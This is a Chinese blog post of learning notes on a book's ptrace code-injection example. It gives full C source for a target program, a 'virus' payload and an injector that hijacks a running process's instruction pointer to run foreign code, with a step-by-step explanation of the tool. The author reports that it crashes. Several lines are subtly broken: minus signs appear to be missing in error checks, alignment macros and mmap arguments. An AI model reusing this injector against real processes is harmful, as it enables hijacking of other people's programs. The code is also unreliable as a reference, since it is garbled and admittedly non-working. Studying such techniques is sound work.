7——Linux二进制分析——学习——使用ptrace进行代码注入

书中第三章最后讲了一个例子,十分遗憾,我暂时还没能调出最后结果。已经花费了很长时间,我觉得暂停是一个比较好的选择。如果我对系统执行elf文件的流程很了解的话,自然能够定位到原因。现在还不是时候,也许等后面再看一看书就知道这里的问题在哪里了。

这个例子书中有更多的错误,尽力改了几个,但还是运行异常。我把整个进展情况和代码贴出来,其中能注释的地方我尽量添加注释,方便读者帮忙分析。如果你知道问题所在,非常希望你能留言,提出宝贵意见,帮助我调通这个工具。

这个例子包含3个.c文件,生成3个elf文件。3个.c文件是,code_inject.c、payload.c和host.c。生成的可执行程序就是文件名,随你自己定,我就按文件名了。它们3个都是干什么的呢?其中code_inject是具有代码注入功能的工具,host是被感染的文件,payload是病毒文件。运行起来host,然后用code_inject工具就可以把payload注入到host中,执行完payload代码之后,host继续执行。

下面的代码是host.c的程序,书中没有给出实现,只能知道里面又一个打字,并且执行完还不会马上退出。所以我这么写的,打印一下,然后sleep一会。

#include <stdio.h>
#include <unistd.h>

int main(void){
    printf("I am but a simple program, please don't infect me.\n");
    sleep(60);
    return 0;
}

下面的代码是payload.c,这里面的说法就比较多了。这里不做详细说明,关于其中的汇编和main函数请点击此链接 payload.c详细说明——linux c编程内嵌汇编和_start启动

//To compile: gcc -fpic -pie -nostdlib payload.c -o payload
#include <stdio.h>
#include <asm/unistd_64.h>
long _write(long fd, char *buf, unsigned long len){
    long ret;
    __asm__ volatile(       
        "mov %0, %%rdi\n"
        "mov %1, %%rsi\n"  
        "mov %2, %%rdx\n"  
        "mov $1, %%rax\n"
        "syscall" : : "g"(fd), "g"(buf), "g"(len));
    asm("mov %%rax, %0" : "=r"(ret));
    return ret;                   
}                                     
                                        
void Exit(long status){
    __asm__ volatile("mov %0, %%rdi\n"
                     "mov $60, %%rax\n"
                     "syscall" : : "r"(status));
}

int _start(){
    _write(1, "I am payload who has hijacked your process!\n", 48);
//    _write(1, "123456\n", 8);
    Exit(0);
}

下面的代码就是核心了——感染工具的代码。我通过注释和代码后面的说明来解释。

//To compile: gcc code_inject.c -o code_inject

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>
#include <sys/wait.h>//The sample of the book don't include this lib, it's wrong.
#include <alloca.h>

#define PAGE_ALIGN(x)   (x & ~(PAGE_SIZE 1))
#define PAGE_ALIGN_UP(X)   (PAGE_ALIGN(X) + PAGE_SIZE)
#define WORD_ALIGN(X)   ((X + 7) & ~7)
#define BASE_ADDRESS    0x00100000

typedef struct handle{
    Elf64_Ehdr *ehdr;
    Elf64_Phdr *phdr;
    Elf64_Shdr *shdr;
    uint8_t *mem;
    pid_t pid;
    uint8_t *shellcode;
    char *exec_path;
    uint64_t base;
    uint64_t stack;
    uint64_t entry;
    struct user_regs_struct pt_reg;
}handle_t;

static inline volatile void * evil_mmap(void *, uint64_t, uint64_t, uint64_t, int64_t, uint64_t)__attribute__((aligned(8),__always_inline__));
uint64_t injection_code(void *)__attribute__((aligned(8)));
uint64_t get_text_base(pid_t);
int pid_write(int, void *, const void *, size_t);
uint8_t *create_fn_shellcode(void (*fn)(), size_t len);

void *f1 = injection_code;
void *f2 = get_text_base;

static inline volatile long evil_write(long fd, char *buf, unsigned long len){
    long ret;
    __asm__ volatile(
            "mov %0, %%rdi\n"
            "mov %1, %%rsi\n"
            "mov %2, %%rdx\n"
            "mov $1, %%rax\n"
            "syscall" : : "g"(fd), "g"(buf), "g"(len));
    asm("mov %%rax, %0" : "=r"(ret));
    return ret;
}

static inline volatile int evil_fstat(long fd, struct stat *buf){
    long ret;
    __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov $5, %%rax\n"
    "syscall" : : "g"(fd), "g"(buf));
    asm("mov %%rax, %0" : "=r"(ret));
    return ret;
}

static inline volatile int evil_open(const char *path, unsigned long flags){
    long ret;
    __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov $2, %%rax\n"
    "syscall" : : "g"(path), "g"(flags));
    asm("mov %%rax, %0" : "=r"(ret));
    return ret;
}

static inline volatile void * evil_mmap(void *addr, uint64_t len,
        uint64_t prot, uint64_t flags, int64_t fd, uint64_t off){
    long mmap_fd = fd;
    unsigned long mmap_off = off;
    unsigned long mmap_flags = flags;
    unsigned long ret;
    __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov $2, %%rdx\n"
    "mov %3, %%r10\n"
    "mov %4, %%r8\n"
    "mov %5, %%r9\n"
    "mov $9, %%rax\n"
    "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off));
    asm("mov %%rax, %0" : "=r"(ret));
    return (void *)ret;
}

uint64_t injection_code(void * vaddr){
    volatile void *mem;
    mem = evil_mmap(vaddr, 8192,
            PROT_READ|PROT_WRITE|PROT_EXEC,
            MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, 1, 0);
    __asm__ __volatile__("int3");//int3是断点的意思
}

#define  MAX_PATH 512

uint64_t get_text_base(pid_t pid){
    char maps[MAX_PATH], line[256];
    char *start, *p;
    FILE *fd = NULL;
    int i;
    Elf64_Addr base;
    snprintf(maps, MAX_PATH - 1, "/proc/%d/maps", pid);
    if((fd = fopen(maps, "r")) == NULL){
        fprintf(stderr, "Cannot open %s for reading: %s\n", maps, strerror(errno));
        return 1;
    }

    while(fgets(line, sizeof(line), fd)){
        if(!strstr(line, "r-xp"))//my system, type is rwxp. XBter
            continue;
        for(i = 0, start = alloca(32), p = line; *p != ' '; i++, p++)
            start[i] = *p;
        start[i] = '\0';
        base = strtoul(start, NULL, 16);
        break;
    }
    fclose(fd);
    return base;
}

uint8_t * create_fn_shellcode(void (*fn)(), size_t len){
    size_t i;
    uint8_t *shellcode = (uint8_t *)malloc(len);
    printf("%s %d shellcode=%p\n",__FUNCTION__,__LINE__,shellcode);
    uint8_t *p = (uint8_t *)fn;
    for(i = 0; i < len; i++)
        *(shellcode + i) = *p++;
    return shellcode;
}

int pid_read(int pid, void *dst, const void *src, size_t len){
    int sz = len / sizeof(void *);
    unsigned char *s = (unsigned char *)src;
    unsigned char *d = (unsigned char *)dst;
    long word;
    errno = 0;
    while(sz != 0){
        word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL);
        if(word == 1 && errno){
            fprintf(stderr, "pid_read failed, pid: %d: %s\n", pid, strerror(errno));
            goto fail;
        }
        *(long*)d = word;
        s += sizeof(long);
        d += sizeof(long);
        sz--;//Source code don't have this line. It's wrong! XBter
    }
    return 0;
fail:
    perror("PTRACE_PEEKTEXT");
    return 1;
}

int pid_write(int pid, void * dest, const void *src, size_t len){
    size_t quot = len / sizeof(void *);
    unsigned char *s = (unsigned char *)src;
    unsigned char *d = (unsigned char *)dest;
    while(quot != 0){
        printf("%s %d s=%p d=%p quot=%ld\n",__FUNCTION__,__LINE__,s,d,quot);
        if(ptrace(PTRACE_POKETEXT, pid, d, *(void **)s) == 1)
            goto out_error;
        s += sizeof(void *);
        d += sizeof(void *);
        quot--;
    }
    return 0;
out_error:
    perror("PTRACE_POKETEXT");
    return 1;
}

int main(int argc, char **argv){
    handle_t h;
    unsigned long shellcode_size = f2 - f1; //??????????????????
    int i, fd, status;
    uint8_t *executable, *origcode;
    struct stat st;
    Elf64_Ehdr *ehdr;
    if(argc < 3){
        printf("Usage: %s <program> <function>\n", argv[0]);
        exit(1);
    }

    h.pid = atoi(argv[1]);
    h.exec_path = strdup(argv[2]);
    if(ptrace(PTRACE_ATTACH, h.pid) < 0){
        perror("PTRACE_ATTACH");
        exit(1);
    }

    wait(NULL);
    h.base = get_text_base(h.pid);
    shellcode_size += 8;

    h.shellcode = create_fn_shellcode((void*)&injection_code, shellcode_size);
    printf("%d h.shellcode=%p\n",__LINE__,h.shellcode);
    origcode = alloca(shellcode_size);
    if(pid_read(h.pid, (void*)origcode, (void*)h.base, shellcode_size) < 0)
        exit(1);

	if(pid_write(h.pid, (void*)h.base, (void*)h.shellcode, shellcode_size) < 0)
    exit(1);

	if(ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0){
        perror("PTRACE_GETREGS");
        exit(1);
    }

    h.pt_reg.rip = h.base;//rip:指令指针寄存器是存放下次将要执行的指令在代码段的偏移量。
    h.pt_reg.rdi = BASE_ADDRESS;//rdi:变址寄存器主要用于存放存储单元在段内的偏移量.
    if(ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0){
        perror("PTRACE_SETREGS");
        exit(1);
    }

    if(ptrace(PTRACE_CONT, h.pid, NULL, NULL) < 0){
        perror("PTRACE_CONT");
        exit(1);
    }

    wait(&status);
    if(WSTOPSIG(status) != SIGTRAP){
        printf("Something went wrong WSTOPSIG(status)=%d\n", WSTOPSIG(status));
        exit(1);
    }

    if(pid_write(h.pid, (void*)h.base, (void*)origcode, shellcode_size) < 0)
        exit(1);

		if((fd = open(h.exec_path, O_RDONLY)) < 0){
        perror("open");
        exit(1);
    }

    if(fstat(fd, &st) < 0){
        perror("fstat");
        exit(1);
    }

    executable = malloc(WORD_ALIGN(st.st_size));
    if(read(fd, executable, st.st_size) < 0){
        perror("read");
        exit(1);
    }

    ehdr = (Elf64_Ehdr*)executable;
    h.entry = ehdr->e_entry;
    close(fd);

    if(pid_write(h.pid, (void*)BASE_ADDRESS, (void*)executable, st.st_size) < 0)
        exit(1);

		if(ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0){
        perror("PTRACE_GETREGS");
        exit(1);
    }

    h.entry = BASE_ADDRESS + h.entry;
    h.pt_reg.rip = h.entry;
    if(ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0){
        perror("PTRACE_SETREGS");
        exit(1);
    }

    if(ptrace(PTRACE_DETACH, h.pid, NULL, NULL) < 0){
        perror("PTRACE_DETACH");
        exit(1);
    }

    wait(NULL);
    exit(0);
}

我先说一下这个例子的执行过程,先在一个终端上后台执行host,./host &,再在另外一个终端上执行注入操作:./code_inject `pidof host` payload。

大概解释一下main函数的逻辑。

200行PTRACE_ATTACH,钩住执行的host程序,这是宿主,待会要感染它。先把位置占上,这样宿主只属于我自己,别人休想入侵。

206行的get_text_base是获取host的maps信息,把其中的代码段其实地址找到,赋值给h.base。

第207行这个+8就不是特别的懂了,我只知道这和程序实际执行pc指针的偏移有关,8是因为我这个是64位系统。我猜是因为想要完整的拷贝病毒需要字节对齐,因为injection_code的长度不是8的整数倍,在后面拷贝的时候如果不加这个8,就会有少拷贝的内容,运行会异常的。

209行调用create_fn_shellcode是拷贝病毒的意思,把病毒injection_code代码拷贝到一块开辟的内存中,地址返回给h.shellcode,后面注入的时候需要用到。

211行这个alloca()接口就不详细说了,和汇编一样我是第一次见到,很神奇,在函数栈中开辟空间,函数退出自动free。但是网上不大提倡使用。直观上逼格很高的骚操作。

212行pid_read是从host的代码段读出injection_code那么长的数据保存起来,留着感染执行完成后恢复原来的程序使用,还原,毁尸灭迹。

215行pie_write是把injection_code这个病毒注入到正在执行的host代码中。

223到228行是调整host进程现在的寄存器的值,让他跳转到开始,好去执行咱们刚注入的代码。

230行的continue不用说。

236行的断点判断也不用说太多。这个断点的设置不是用的0xcc,而是使用的int3,效果应该一样的。

241行把host程序还原。

。。。。。。

就到这吧,在第236行的时候报错了,信号11段错误。。。没有正常断点。。。

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 8
    评论
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值